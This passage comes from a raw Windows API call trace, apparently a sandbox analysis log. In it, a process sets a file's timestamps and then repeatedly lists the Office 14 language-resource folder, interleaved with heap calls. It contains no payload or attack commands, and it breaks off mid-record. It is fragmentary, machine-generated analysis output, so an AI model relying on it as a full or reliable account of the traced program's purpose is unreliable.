dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0051.164] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.164] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.164] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.164] NtClose (Handle=0x18c) returned 0x0 [0051.164] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.165] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.165] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.165] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.165] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0051.165] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.021] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0052.021] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96bb8 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95b40 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96cc0 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95b60 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96dc8 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4c0) returned 0xf870d0 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf960e8) returned 1 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95b80 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96ed0 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.024] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.024] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95ba0 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96fd8 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0052.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0052.025] GetLastError () returned 0x12 [0052.025] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0052.025] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0052.025] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0052.026] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0052.026] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0052.026] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0052.026] FindNextFileW (in: hFindFile=0x60d220, 